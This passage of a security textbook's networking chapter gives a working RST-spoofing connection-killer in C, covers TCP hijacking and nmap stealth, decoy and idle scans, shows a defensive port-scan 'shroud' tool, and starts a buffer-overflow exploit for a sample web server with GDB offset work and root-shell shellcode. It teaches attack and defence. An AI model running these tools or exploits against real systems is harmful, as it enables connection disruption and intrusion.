[30] (003) jeq #0xc0a82a58 jt 8 jf 9 (004) jeq #0x806 jt 6 jf 5 (005) jeq #0x8035 jt 6 jf 9 (006) ld [38] (007) jeq #0xc0a82a58 jt 8 jf 9 (008) ret #96 (009) ret #0 reader@hacking:~/booksrc $ sudo tcpdump -ddd "dst host 192.168.42.88" 10 40 0 0 12 21 0 2 2048 32 0 0 30 21 4 5 3232246360 21 1 0 2054 21 0 3 32821 32 0 0 38 21 0 1 3232246360 6 0 0 96 6 0 0 0 reader@hacking:~/booksrc $

After the filter rule is compiled, it can be passed to the kernel for filtering. Filtering for established connections is a bit more complicated. All established connections will have the ACK flag set, so this is what we should look for. The TCP flags are found in the 13th octet of the TCP header. The
N et wor kin g

259

flags are found in the following order, from left to right: URG, ACK, PSH, RST, SYN, and FIN. This means that if the ACK flag is turned on, the 13th octet would be 00010000 in binary, which is 16 in decimal. If both SYN and ACK are turned on, the 13th octet would be 00010010 in binary, which is 18 in decimal. In order to create a filter that matches when the ACK flag is turned on without caring about any of the other bits, the bitwise AND operator is used. ANDing 00010010 with 00010000 will produce 00010000, since the ACK bit is the only bit where both bits are 1. This means that a filter of tcp[13] & 16 == 16 will match the packets where the ACK flag is turned on, regardless of the state of the remaining flags. This filter rule can be rewritten using named values and inverted logic as tcp[tcpflags] & tcp-ack != 0. This is easier to read but still provides the same result. This rule can be combined with the previous destination IP rule using and logic; the full rule is shown below. reader@hacking:~/booksrc $ sudo tcpdump -nl "tcp[tcpflags] & tcp-ack != 0 and dst host 192.168.42.88" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 10:19:47.567378 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 2777534975 win 92 10:19:47.770276 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 22 win 92 10:19:47.770322 IP 192.168.42.72.40238 > 192.168.42.88.22: P 0:20(20) ack 22 win 92 10:19:47.771536 IP 192.168.42.72.40238 > 192.168.42.88.22: P 20:732(712) ack 766 win 115 10:19:47.918866 IP 192.168.42.72.40238 > 192.168.42.88.22: P 732:756(24) ack 766 win 115

A similar rule is used in the following program to filter the packets libpcap sniffs. When the program gets a packet, the header information is used to spoof a RST packet. This program will be explained as it’s listed. rst_hijack.c
#include #include #include "hacking.h" void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *); int set_packet_filter(pcap_t *, struct in_addr *); struct data_pass { int libnet_handle; u_char *packet; }; int main(int argc, char *argv[]) { struct pcap_pkthdr cap_header; const u_char *packet, *pkt_data; pcap_t *pcap_handle;

260

0x 400

char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE char *device; u_long target_ip; int network; struct data_pass critical_libnet_data; if(argc < 1) { printf("Usage: %s \n", argv[0]); exit(0); } target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); if (target_ip == -1) fatal("Invalid target address"); device = pcap_lookupdev(errbuf); if(device == NULL) fatal(errbuf); pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf); if(pcap_handle == NULL) fatal(errbuf); critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW); if(critical_libnet_data.libnet_handle == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet)); if (critical_libnet_data.packet == NULL) libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n"); libnet_seed_prand(); set_packet_filter(pcap_handle, (struct in_addr *)&target_ip); printf("Resetting all TCP connections to %s on %s\n", argv[1], device); pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data); pcap_close(pcap_handle); }

The majority of this program should make sense to you. In the beginning, a data_pass structure is defined, which is used to pass data through the libpcap callback. libnet is used to open a raw socket interface and to allocate packet memory. The file descriptor for the raw socket and a pointer to the packet memory will be needed in the callback function, so this critical libnet data is stored in its own structure. The final argument to the pcap_loop() call is user pointer, which is passed directly to the callback function. By passing a pointer to the critical_libnet_data structure, the callback function will have access to everything in this structure. Also, the snap length value used in pcap_open_live() has been reduced from 4096 to 128, since the information needed from the packet is just in the headers.
N et wor kin g

261

/* Sets a packet filter to look for established TCP connections to target_ip */ int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip) { struct bpf_program filter; char filter_string[100]; sprintf(filter_string, "tcp[tcpflags] & tcp-ack != 0 and dst host %s", inet_ntoa(*target_ip)); printf("DEBUG: filter string is \'%s\'\n", filter_string); if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1) fatal("pcap_compile failed"); if(pcap_setfilter(pcap_hdl, &filter) == -1) fatal("pcap_setfilter failed"); }

The next function compiles and sets the BPF to only accept packets from established connections to the target IP. The sprintf() function is just a printf() that prints to a string. void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) { u_char *pkt_data; struct libnet_ip_hdr *IPhdr; struct libnet_tcp_hdr *TCPhdr; struct data_pass *passed; int bcount; passed = (struct data_pass *) user_args; // Pass data using a pointer to a struct. IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H); TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H); printf("resetting TCP connection from %s:%d ", inet_ntoa(IPhdr->ip_src), htons(TCPhdr->th_sport)); printf(" %s:%d\n", inet_ntoa(IPhdr->ip_dst), htons(TCPhdr->th_dport)); libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header IPTOS_LOWDELAY, // IP tos libnet_get_prand(LIBNET_PRu16), // IP ID (randomized) 0, // Frag stuff libnet_get_prand(LIBNET_PR8), // TTL (randomized) IPPROTO_TCP, // Transport protocol *((u_long *)&(IPhdr->ip_dst)), // Source IP (pretend we are dst) *((u_long *)&(IPhdr->ip_src)), // Destination IP (send back to src) NULL, // Payload (none) 0, // Payload length passed->packet); // Packet header memory libnet_build_tcp(htons(TCPhdr->th_dport), // Source TCP port (pretend we are dst) htons(TCPhdr->th_sport), // Destination TCP port (send back to src) htonl(TCPhdr->th_ack), // Sequence number (use previous ack) libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)

262

0x 400

TH_RST, // libnet_get_prand(LIBNET_PRu16), // 0, // NULL, // 0, // (passed->packet) + LIBNET_IP_H);//

Control flags (RST flag set only) Window size (randomized) Urgent pointer Payload (none) Payload length Packet header memory

if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n"); bcount = libnet_write_ip(passed->libnet_handle, passed->packet, LIBNET_IP_H+LIBNET_TCP_H); if (bcount < LIBNET_IP_H + LIBNET_TCP_H) libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written."); usleep(5000); // pause slightly }

The callback function spoofs the RST packets. First, the critical libnet data is retrieved, and pointers to the IP and TCP headers are set using the structures included with libnet. We could use our own structures from hacking-network.h, but the libnet structures are already there and compensate for the host’s byte ordering. The spoofed RST packet uses the sniffed source address as the destination, and vice versa. The sniffed sequence number is used as the spoofed packet’s acknowledgment number, since that is what is expected. reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o rst_hijack rst_hijack.c -lnet -lpcap reader@hacking:~/booksrc $ sudo ./rst_hijack 192.168.42.88 DEBUG: filter string is 'tcp[tcpflags] & tcp-ack != 0 and dst host 192.168.42.88' Resetting all TCP connections to 192.168.42.88 on eth0 resetting TCP connection from 192.168.42.72:47783 192.168.42.88:22

0x462 Continued Hijacking
The spoofed packet doesn’t need to be an RST packet. This attack becomes more interesting when the spoof packet contains data. The host machine receives the spoofed packet, increments the sequence number, and responds to the victim’s IP. Since the victim’s machine doesn’t know about the spoofed packet, the host machine’s response has an incorrect sequence number, so the victim ignores that response packet. And since the victim’s machine ignored the host machine’s response packet, the victim’s sequence number count is off. Therefore, any packet the victim tries to send to the host machine will have an incorrect sequence number as well, causing the host machine to ignore it. In this case, both legitimate sides of the connection have incorrect sequence numbers, resulting in a desynchronized state. And since the attacker sent out the first spoofed packet that caused all this chaos, it can keep track of sequence numbers and continue spoofing packets from the victim’s IP address to the host machine. This lets the attacker continue communicating with the host machine while the victim’s connection hangs.

N et wor kin g

263

0x470

Port Scanning
Port scanning is a way of figuring out which ports are listening and accepting connections. Since most services run on standard, documented ports, this information can be used to determine which services are running. The simplest form of port scanning involves trying to open TCP connections to every possible port on the target system. While this is effective, it’s also noisy and detectable. Also, when connections are established, services will normally log the IP address. To avoid this, several clever techniques have been invented. A port scanning tool called nmap, written by Fyodor, implements all of the following port-scanning techniques. This tool has become one of the most popular open source port-scanning tools.

0x471 Stealth SYN Scan
A SYN scan is also sometimes called a half-open scan. This is because it doesn’t actually open a full TCP connection. Recall the TCP/IP handshake: When a full connection is made, first a SYN packet is sent, then a SYN/ACK packet is sent back, and finally an ACK packet is returned to complete the handshake and open the connection. A SYN scan doesn’t complete the handshake, so a full connection is never opened. Instead, only the initial SYN packet is sent, and the response is examined. If a SYN/ACK packet is received in response, that port must be accepting connections. This is recorded, and an RST packet is sent to tear down the connection to prevent the service from accidentally being DoSed. Using nmap, a SYN scan can be performed using the command-line option -sS. The program must be run as root, since the program isn’t using standard sockets and needs raw network access. reader@hacking:~/booksrc $ sudo nmap -sS 192.168.42.72 Starting Nmap 4.20 ( http://insecure.org ) at 2007-05-29 09:19 PDT Interesting ports on 192.168.42.72: Not shown: 1696 closed ports PORT STATE SERVICE 22/tcp open ssh Nmap finished: 1 IP address (1 host up) scanned in 0.094 seconds

0x472 FIN, X-mas, and Null Scans
In response to SYN scanning, new tools to detect and log half-open connections were created. So yet another collection of techniques for stealth port scanning evolved: FIN, X-mas, and Null scans. These all involve sending a nonsensical packet to every port on the target system. If a port is listening, these packets just get ignored. However, if the port is closed and the implementation follows protocol (RFC 793), an RST packet will be sent. This difference can be used to detect which ports are accepting connections, without actually opening any connections. The FIN scan sends a FIN packet, the X-mas scan sends a packet with FIN, URG, and PUSH turned on (so named because the flags are lit up like a
264
0x 400

Christmas tree), and the Null scan sends a packet with no TCP flags set. While these types of scans are stealthier, they can also be unreliable. For instance, Microsoft’s implementation of TCP doesn’t send RST packets like it should, making this form of scanning ineffective. Using nmap, FIN, X-mas, and NULL scans can be performed using the command-line options -sF, -sX, and -sN, respectively. Their output looks basically the same as the previous scan.

0x473 Spoofing Decoys
Another way to avoid detection is to hide among several decoys. This technique simply spoofs connections from various decoy IP addresses in between each real port-scanning connection. The responses from the spoofed connections aren’t needed, since they are simply misleads. However, the spoofed decoy addresses must use real IP addresses of live hosts; otherwise, the target may be accidentally SYN flooded. Decoys can be specified in nmap with the -D command-line option. The sample nmap command shown below scans the IP 192.168.42.72, using 192.168.42.10 and 192.168.42.11 as decoys. reader@hacking:~/booksrc $ sudo nmap -D 192.168.42.10,192.168.42.11 192.168.42.72

0x474 Idle Scanning
Idle scanning is a way to scan a target using spoofed packets from an idle host, by observing changes in the idle host. The attacker needs to find a usable idle host that is not sending or receiving any other network traffic and that has a TCP implementation that produces predictable IP IDs that change by a known increment with each packet. IP IDs are meant to be unique per packet per session, and they are commonly incremented by a fixed amount. Predictable IP IDs have never really been considered a security risk, and idle scanning takes advantage of this misconception. Newer operating systems, such as the recent Linux kernel, OpenBSD, and Windows Vista, randomize the IP ID, but older operating systems and hardware (such as printers) typically do not. First, the attacker gets the current IP ID of the idle host by contacting it with a SYN packet or an unsolicited SYN/ACK packet and observing the IP ID of the response. By repeating this process a few more times, the increment applied to the IP ID with each packet can be determined. Then, the attacker sends a spoofed SYN packet with the idle host’s IP address to a port on the target machine. One of two things will happen, depending on whether that port on the victim machine is listening: If that port is listening, a SYN/ACK packet will be sent back to the idle host. But since the idle host didn’t actually send out the initial SYN packet, this response appears to be unsolicited to the idle host, and it responds by sending back an RST packet. If that port isn’t listening, the target machine doesn’t send a SYN/ACK packet back to the idle host, so the idle host doesn’t respond.
N et wor kin g

265

At this point, the attacker contacts the idle host again to determine how much the IP ID has incremented. If it has only incremented by one interval, no other packets were sent out by the idle host between the two checks. This implies that the port on the target machine is closed. If the IP ID has incremented by two intervals, one packet, presumably an RST packet, was sent out by the idle machine between the checks. This implies that the port on the target machine is open. The steps are illustrated on the next page for both possible outcomes. Of course, if the idle host isn’t truly idle, the results will be skewed. If there is light traffic on the idle host, multiple packets can be sent for each port. If 20 packets are sent, then a change of 20 incremental steps should be an indication of an open port, and none, of a closed port. Even if there is light traffic, such as one or two non–scan-related packets sent by the idle host, this difference is large enough that it can still be detected. If this technique is used properly on an idle host that doesn’t have any logging capabilities, the attacker can scan any target without ever revealing his or her IP address. After finding a suitable idle host, this type of scanning can be done with nmap using the -sI command-line option followed by the idle host’s address: reader@hacking:~/booksrc $ sudo nmap -sI idlehost.com 192.168.42.7

Port open on target
SYN/ACK

3
RST (ID = 52)

Last ID from idle host = 50

Idle host 2
SYN/ACK RST (ID = 51)

Attacker 1

SYN Spoofed with idle host as the source address

Target

Port closed on target
SYN/ACK

2
RST (ID = 51)

Last ID from idle host = 50

Idle host

Attacker 1

SYN Spoofed with idle host as the source address

Target

266

0x 400

0x475 Proactive Defense (shroud)
Port scans are often used to profile systems before they are attacked. Knowing what ports are open allows an attacker to determine which services can be attacked. Many IDSs offer methods to detect port scans, but by then the information has already been leaked. While writing this chapter, I wondered if it is possible to prevent port scans before they actually happen. Hacking, really, is all about coming up with new ideas, so a newly developed method for proactive port-scanning defense will be presented here. First of all, the FIN, Null, and X-mas scans can be prevented by a simple kernel modification. If the kernel never sends reset packets, these scans will turn up nothing. The following output uses grep to find the kernel code responsible for sending reset packets. reader@hacking:~/booksrc $ grep -n -A 20 "void.*send_reset" /usr/src/linux/net/ipv4/tcp_ipv4.c 547:static void tcp_v4_send_reset(struct sock *sk, struct sk_buff *skb) 548-{ 549struct tcphdr *th = skb->h.th; 550struct { 551struct tcphdr th; 552-#ifdef CONFIG_TCP_MD5SIG 553__be32 opt[(TCPOLEN_MD5SIG_ALIGNED >> 2)]; 554-#endif 555} rep; 556struct ip_reply_arg arg; 557-#ifdef CONFIG_TCP_MD5SIG 558struct tcp_md5sig_key *key; 559-#endif 560return; // Modification: Never send RST, always return. 561/* Never send a reset in response to a reset. */ 562if (th->rst) 563return; 564565if (((struct rtable *)skb->dst)->rt_type != RTN_LOCAL) 566return; 567reader@hacking:~/booksrc $

By adding the return command (shown above in bold), the tcp_v4_send_reset() kernel function will simply return instead of doing anything. After the kernel is recompiled, the resulting kernel won’t send out reset packets, avoiding information leakage. FIN Scan Before the Kernel Modification matrix@euclid:~ $ sudo nmap -T5 -sF 192.168.42.72 Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-03-17 16:58 PDT Interesting ports on 192.168.42.72: Not shown: 1678 closed ports
N et wor kin g

267

PORT STATE SERVICE 22/tcp open|filtered ssh 80/tcp open|filtered http MAC Address: 00:01:6C:EB:1D:50 (Foxconn) Nmap finished: 1 IP address (1 host up) scanned in 1.462 seconds matrix@euclid:~ $

FIN Scan After the Kernel Modification matrix@euclid:~ $ sudo nmap -T5 -sF 192.168.42.72 Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-03-17 16:58 PDT Interesting ports on 192.168.42.72: Not shown: 1678 closed ports PORT STATE SERVICE MAC Address: 00:01:6C:EB:1D:50 (Foxconn) Nmap finished: 1 IP address (1 host up) scanned in 1.462 seconds matrix@euclid:~ $

This works fine for scans that rely on RST packets, but preventing information leakage with SYN scans and full-connect scans is a bit more difficult. In order to maintain functionality, open ports have to respond with SYN/ACK packets—there is no way around that. But if all of the closed ports also responded with SYN/ACK packets, the amount of useful information an attacker could retrieve from port scans would be minimized. Simply opening every port would cause a major performance hit, though, which isn’t desirable. Ideally, this should all be done without using a TCP stack. The following program does exactly that. It’s a modification of the rst_hijack.c program, using a more complex BPF string to filter only SYN packets destined for closed ports. The callback function spoofs a legitimate looking SYN/ACK response to any SYN packet that makes it through the BPF. This will flood port scanners with a sea of false positives, which will hide legitimate ports. shroud.c
#include #include #include "hacking.h" #define MAX_EXISTING_PORTS 30 void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *); int set_packet_filter(pcap_t *, struct in_addr *, u_short *); struct data_pass { int libnet_handle; u_char *packet; }; int main(int argc, char *argv[]) { struct pcap_pkthdr cap_header; const u_char *packet, *pkt_data; pcap_t *pcap_handle;

268

0x 400

char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE char *device; u_long target_ip; int network, i; struct data_pass critical_libnet_data; u_short existing_ports[MAX_EXISTING_PORTS]; if((argc < 2) || (argc > MAX_EXISTING_PORTS+2)) { if(argc > 2) printf("Limited to tracking %d existing ports.\n", MAX_EXISTING_PORTS); else printf("Usage: %s [existing ports...]\n", argv[0]); exit(0); } target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); if (target_ip == -1) fatal("Invalid target address"); for(i=2; i < argc; i++) existing_ports[i-2] = (u_short) atoi(argv[i]); existing_ports[argc-2] = 0; device = pcap_lookupdev(errbuf); if(device == NULL) fatal(errbuf); pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf); if(pcap_handle == NULL) fatal(errbuf); critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW); if(critical_libnet_data.libnet_handle == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet)); if (critical_libnet_data.packet == NULL) libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n"); libnet_seed_prand(); set_packet_filter(pcap_handle, (struct in_addr *)&target_ip, existing_ports); pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data); pcap_close(pcap_handle); } /* Sets a packet filter to look for established TCP connections to target_ip */ int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip, u_short *ports) { struct bpf_program filter; char *str_ptr, filter_string[90 + (25 * MAX_EXISTING_PORTS)]; int i=0; sprintf(filter_string, "dst host %s and ", inet_ntoa(*target_ip)); // Target IP
N et wor kin g

269

strcat(filter_string, "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack = 0"); if(ports[0] != 0) { // If there is at least one existing port str_ptr = filter_string + strlen(filter_string); if(ports[1] == 0) // There is only one existing port sprintf(str_ptr, " and not dst port %hu", ports[i]); else { // Two or more existing ports sprintf(str_ptr, " and not (dst port %hu", ports[i++]); while(ports[i] != 0) { str_ptr = filter_string + strlen(filter_string); sprintf(str_ptr, " or dst port %hu", ports[i++]); } strcat(filter_string, ")"); } } printf("DEBUG: filter string is \'%s\'\n", filter_string); if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1) fatal("pcap_compile failed"); if(pcap_setfilter(pcap_hdl, &filter) == -1) fatal("pcap_setfilter failed"); } void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) { u_char *pkt_data; struct libnet_ip_hdr *IPhdr; struct libnet_tcp_hdr *TCPhdr; struct data_pass *passed; int bcount; passed = (struct data_pass *) user_args; // Pass data using a pointer to a struct IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H); TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H); libnet_build_ip(LIBNET_TCP_H, IPTOS_LOWDELAY, libnet_get_prand(LIBNET_PRu16), 0, libnet_get_prand(LIBNET_PR8), IPPROTO_TCP, *((u_long *)&(IPhdr->ip_dst)), *((u_long *)&(IPhdr->ip_src)), NULL, 0, passed->packet); // // // // // // // // // // // Size of the packet sans IP header IP tos IP ID (randomized) Frag stuff TTL (randomized) Transport protocol Source IP (pretend we are dst) Destination IP (send back to src) Payload (none) Payload length Packet header memory

libnet_build_tcp(htons(TCPhdr->th_dport),// Source TCP port (pretend we are dst) htons(TCPhdr->th_sport), // Destination TCP port (send back to src) htonl(TCPhdr->th_ack), // Sequence number (use previous ack) htonl((TCPhdr->th_seq) + 1), // Acknowledgement number (SYN's seq # + 1) TH_SYN | TH_ACK, // Control flags (RST flag set only) libnet_get_prand(LIBNET_PRu16), // Window size (randomized) 0, // Urgent pointer

270

0x 400

NULL, // Payload (none) 0, // Payload length (passed->packet) + LIBNET_IP_H);// Packet header memory if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n"); bcount = libnet_write_ip(passed->libnet_handle, passed->packet, LIBNET_IP_H+LIBNET_TCP_H); if (bcount < LIBNET_IP_H + LIBNET_TCP_H) libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written."); printf("bing!\n"); }

There are a few tricky parts in the code above, but you should be able to follow all of it. When the program is compiled and executed, it will shroud the IP address given as the first argument, with the exception of a list of existing ports provided as the remaining arguments. reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o shroud shroud.c -lnet -lpcap reader@hacking:~/booksrc $ sudo ./shroud 192.168.42.72 22 80 DEBUG: filter string is 'dst host 192.168.42.72 and tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack = 0 and not (dst port 22 or dst port 80)'

While shroud is running, any port scanning attempts will show every port to be open. matrix@euclid:~ $ sudo nmap -sS 192.168.0.189 Starting nmap V. 3.00 ( www.insecure.org/nmap/ ) Interesting ports on (192.168.0.189): Port State Service 1/tcp open tcpmux 2/tcp open compressnet 3/tcp open compressnet 4/tcp open unknown 5/tcp open rje 6/tcp open unknown 7/tcp open echo 8/tcp open unknown 9/tcp open discard 10/tcp open unknown 11/tcp open systat 12/tcp open unknown 13/tcp open daytime 14/tcp open unknown 15/tcp open netstat 16/tcp open unknown 17/tcp open qotd 18/tcp open msp 19/tcp open chargen 20/tcp open ftp-data 21/tcp open ftp 22/tcp open ssh
N et wor kin g

271

23/tcp 24/tcp 25/tcp

open open open

telnet priv-mail smtp

[ output trimmed ] 32780/tcp 32786/tcp 32787/tcp 43188/tcp 44442/tcp 44443/tcp 47557/tcp 49400/tcp 54320/tcp 61439/tcp 61440/tcp 61441/tcp 65301/tcp open open open open open open open open open open open open open sometimes-rpc23 sometimes-rpc25 sometimes-rpc27 reachout coldfusion-auth coldfusion-auth dbbrowse compaqdiag bo2k netprowler-manager netprowler-manager2 netprowler-sensor pcanywhere

Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds matrix@euclid:~ $

The only service that is actually running is ssh on port 22, but it is hidden in a sea of false positives. A dedicated attacker could simply telnet to every port to check the banners, but this technique could easily be expanded to spoof banners also.

0x480

Reach Out and Hack Someone
Network programming tends to move many chunks of memory around and is heavy in typecasting. You’ve seen for yourself how crazy some of the typecasts can get. Mistakes thrive in this type of chaos. And since many network programs need to run as root, these little mistakes can become critical vulnerabilities. One such vulnerability exists in the code from this chapter. Did you notice it? From hacking-network.h
/* This function accepts a socket FD and a ptr to a destination * buffer. It will receive from the socket until the EOL byte * sequence in seen. The EOL bytes are read from the socket, but * the destination buffer is terminated before these bytes. * Returns the size of the read line (without EOL bytes). */ int recv_line(int sockfd, unsigned char *dest_buffer) { #define EOL "\r\n" // End-of-line byte sequence #define EOL_SIZE 2 unsigned char *ptr; int eol_matched = 0; ptr = dest_buffer;

272

0x 400

while(recv(sockfd, ptr, 1, 0) == 1) { // Read a single byte. if(*ptr == EOL[eol_matched]) { // Does this byte match terminator? eol_matched++; if(eol_matched == EOL_SIZE) { // If all bytes match terminator, *(ptr+1-EOL_SIZE) = '\0'; // terminate the string. return strlen(dest_buffer); // Return bytes recevied. } } else { eol_matched = 0; } ptr++; // Increment the pointer to the next byte. } return 0; // Didn't find the end-of-line characters. }

The recv_line() function in hacking-network.h has a small mistake of omission—there is no code to limit the length. This means received bytes can overflow if they exceed the dest_buffer size. The tinyweb server program and any other programs that use this function are vulnerable to attack.

0x481 Analysis with GDB
To exploit the vulnerability in the tinyweb.c program, we just need to send packets that will strategically overwrite the return address. First, we need to know the offset from the start of a buffer we control to the stored return address. Using GDB, we can analyze the compiled program to find this; however, there are some subtle details that can cause tricky problems. For example, the program requires root privileges, so the debugger must be run as root. But using sudo or running with root’s environment will change the stack, meaning the addresses seen in the debugger’s run of the binary won’t match the addresses when it’s running normally. There are other slight differences that can shift memory around in the debugger like this, creating inconsistencies that can be maddening to track down. According to the debugger, everything will look like it should work; however, the exploit fails when run outside the debugger, since the addresses are different. One elegant solution to this problem is to attach to the process after it’s already running. In the output below, GDB is used to attach to an alreadyrunning tinyweb process that was started in another terminal. The source is recompiled using the -g option to include debugging symbols that GDB can apply to the running process. reader@hacking:~/booksrc $ ps aux | grep tinyweb root 13019 0.0 0.0 1504 344 pts/0 S+ 20:25 0:00 ./tinyweb reader 13104 0.0 0.0 2880 748 pts/2 R+ 20:27 0:00 grep tinyweb reader@hacking:~/booksrc $ gcc -g tinyweb.c reader@hacking:~/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Attaching to process 13019 /cow/home/reader/booksrc/tinyweb: No such file or directory. A program is being debugged already. Kill it? (y or n) n Program not killed.
N et wor kin g

273

(gdb) bt #0 0xb7fe77f2 in ?? () #1 0xb7f691e1 in ?? () #2 0x08048ccf in main () at tinyweb.c:44 (gdb) list 44 39 if (listen(sockfd, 20) == -1) 40 fatal("listening on socket"); 41 42 while(1) { // Accept loop 43 sin_size = sizeof(struct sockaddr_in); 44 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); 45 if(new_sockfd == -1) 46 fatal("accepting connection"); 47 48 handle_connection(new_sockfd, &client_addr); (gdb) list handle_connection 53 /* This function handles the connection on the passed socket from the 54 * passed client address. The connection is processed as a web request 55 * and this function replies over the connected socket. Finally, the 56 * passed socket is closed at the end of the function. 57 */ 58 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) { 59 unsigned char *ptr, request[500], resource[500]; 60 int fd, length; 61 62 length = recv_line(sockfd, request); (gdb) break 62 Breakpoint 1 at 0x8048d02: file tinyweb.c, line 62. (gdb) cont Continuing.

After attaching to the running process, a stack backtrace shows the program is currenty in main(), waiting for a connection. After setting a breakpoint at the first recv_line() call on line 62 ( ), the program is allowed to continue. At this point, the program’s execution must be advanced by making a web request using wget in another terminal or a browser. Then the breakpoint in handle_connection() will be hit.
Breakpoint 2, handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62 62 length = recv_line(sockfd, request); (gdb) x/x request 0xbffff5c0: 0x00000000 (gdb) bt #0 handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62 #1 0x08048cf6 in main () at tinyweb.c:48 (gdb) x/16xw request+500 0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848 0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0 0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048cf6 0x00000004 0xbffff7e4: 0xbffff810 0xbffff80c 0xbffff834 0x00000004 (gdb) x/x 0xbffff7d4+8 0xbffff7dc: 0x08048cf6 (gdb) p 0xbffff7dc - 0xbffff5c0

274

0x 400

$1 = 540 (gdb) p /x 0xbffff5c0 + 200 $2 = 0xbffff688 (gdb) quit The program is running. Quit anyway (and detach it)? (y or n) y Detaching from program: , process 13019 reader@hacking:~/booksrc $

At the breakpoint, the request buffer begins at 0xbfffff5c0. The bt command’s stack backtrace shows that the return address from handle_connection() is 0x08048cf6. Since we know how the local variables are generally laid out on the stack, we know the request buffer is near the end of the frame. This means that the stored return address should be on the stack somewhere near the end of this 500-byte buffer. Since we already know the general area to look, a quick inspection shows the stored return address is at 0xbffff7dc ( ). A little math shows the stored return address is 540 bytes from the start of the request buffer. However, there are a few bytes near the beginning of the buffer that might be mangled by the rest of the function. Remember, we don’t gain control of the program until the function returns. To account for this, it’s best to just avoid the beginning of the buffer. Skipping the first 200 bytes should be safe, while leaving plenty of space for shellcode in the remaining 300 bytes. This means 0xbffff688 is the target return address.

0x482 Almost Only Counts with Hand Grenades
The following exploit for the tinyweb program uses the offset and return address overwrite values calculated with GDB. It fills the exploit buffer with null bytes, so anything written into it will automatically be null-terminated. Then it fills the first 540 bytes with NOP instructions. This builds the NOP sled and fills the buffer up to the return address overwrite location. Then the entire string is terminated with the '\r\n' line terminator. tinyweb_exploit.c
#include #include #include #include #include #include #include

#include "hacking.h" #include "hacking-network.h" char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; // Standard shellcode #define OFFSET 540
N et wor kin g

275

